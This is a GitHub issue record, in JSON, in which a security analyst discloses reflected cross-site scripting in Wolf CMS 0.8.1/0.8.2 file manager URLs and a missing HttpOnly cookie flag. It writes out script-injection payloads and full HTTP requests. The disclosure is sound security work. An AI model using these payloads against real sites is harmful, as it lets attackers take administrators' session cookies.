{"action":"closed","issue":{"url":"https://api.github.com/repos/wolfcms/wolfcms/issues/619","labels_url":"https://api.github.com/repos/wolfcms/wolfcms/issues/619/labels{/name}","comments_url":"https://api.github.com/repos/wolfcms/wolfcms/issues/619/comments","events_url":"https://api.github.com/repos/wolfcms/wolfcms/issues/619/events","html_url":"https://github.com/wolfcms/wolfcms/issues/619","id":60464982,"number":619,"title":"WOLF CMS 0.8.2 is vulnerable to Cross Site Scripting","user":{"login":"sumitingole","id":11312706,"avatar_url":"https://avatars.githubusercontent.com/u/11312706?v=3","gravatar_id":"","url":"https://api.github.com/users/sumitingole","html_url":"https://github.com/sumitingole","followers_url":"https://api.github.com/users/sumitingole/followers","following_url":"https://api.github.com/users/sumitingole/following{/other_user}","gists_url":"https://api.github.com/users/sumitingole/gists{/gist_id}","starred_url":"https://api.github.com/users/sumitingole/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sumitingole/subscriptions","organizations_url":"https://api.github.com/users/sumitingole/orgs","repos_url":"https://api.github.com/users/sumitingole/repos","events_url":"https://api.github.com/users/sumitingole/events{/privacy}","received_events_url":"https://api.github.com/users/sumitingole/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":6,"created_at":"2015-03-10T08:21:10Z","updated_at":"2015-08-10T14:13:28Z","closed_at":"2015-08-10T14:13:28Z","body":"Respected Authorities,\r\n\r\nI would to like to inform you that your Wolf cms 0.8.2 and 0.8.1 is vulnerable to cross site scripting and there is also \"HTTPonly flag is missing\". It allow attacker to gain admin cookies by using xss.\r\n---------------------------------------------------------------------------------------------------------------------------------\r\nWolf CMS 0.8.2, 0.8.1 \r\n\r\nVulnerability :    1) Cross Site Scripting (xss)\r\n                         2) Missing HTTP only Flag\r\n\r\nSeverity - High\r\n\r\nReported By - Sumit Ingole (Security Analyst @ Suma Soft Pvt.Ltd , Pune , India)\r\n============================================================\r\nNote : All URL is after user authentication.\r\n\r\nLets Start....\r\n\r\n1)  Vulnerable URL : http://127.0.0.1/wolfcms/admin/plugin/file_manager/browse/images\r\n\r\n     Injection Payload : \"><script>alert(1)</script>\r\n                                   \"><script>alert(document.cookie)</script>\r\n\r\n\r\n    HTTP Request:\r\n\r\n      GET /wolfcms/?/admin/plugin/file_manager/browse/images\"><script>alert(1)</script>HTTP/1.1\r\n      Host: 127.0.0.1\r\n      Accept: */*\r\n      Accept-Language: en\r\n      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\r\n      Connection: close\r\n\r\n\r\n![missing http only flag](https://cloud.githubusercontent.com/assets/11312706/6571261/5399148e-c72c-11e4-8baf-8578aba36010.PNG)\r\n![xss-1](https://cloud.githubusercontent.com/assets/11312706/6571262/53a31754-c72c-11e4-8f61-6a19df095fef.PNG)\r\n![xss-1-2](https://cloud.githubusercontent.com/assets/11312706/6571263/53a7111a-c72c-11e4-8761-27c743f92318.PNG)\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------------------------------------------------------------------------------------------\r\n\r\n2)  Vulnerable URL : http://127.0.0.1/wolfcms/admin/plugin/file_manager/browse/themes\r\n     \r\n     Injection Payload : \"><script>alert(1)</script>\r\n                                   \"><script>alert(document.cookie)</script>\r\n\r\n\r\n     HTTP Request:\r\n\r\n      GET /wolfcms/?/admin/plugin/file_manager/browse/themes56641\"><script>alert(1)</script> HTTP/1.1\r\n      Host: 127.0.0.1\r\n      Accept: */*\r\n      Accept-Language: en\r\n      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\r\n      Connection: close\r\n\r\n\r\n![xss-2](https://cloud.githubusercontent.com/assets/11312706/6571271/6af68396-c72c-11e4-861f-34cfa266d4db.PNG)\r\n![xss-2-2](https://cloud.githubusercontent.com/assets/11312706/6571272/6aff09b2-c72c-11e4-8673-0b1e4275cdd4.PNG)\r\n"}}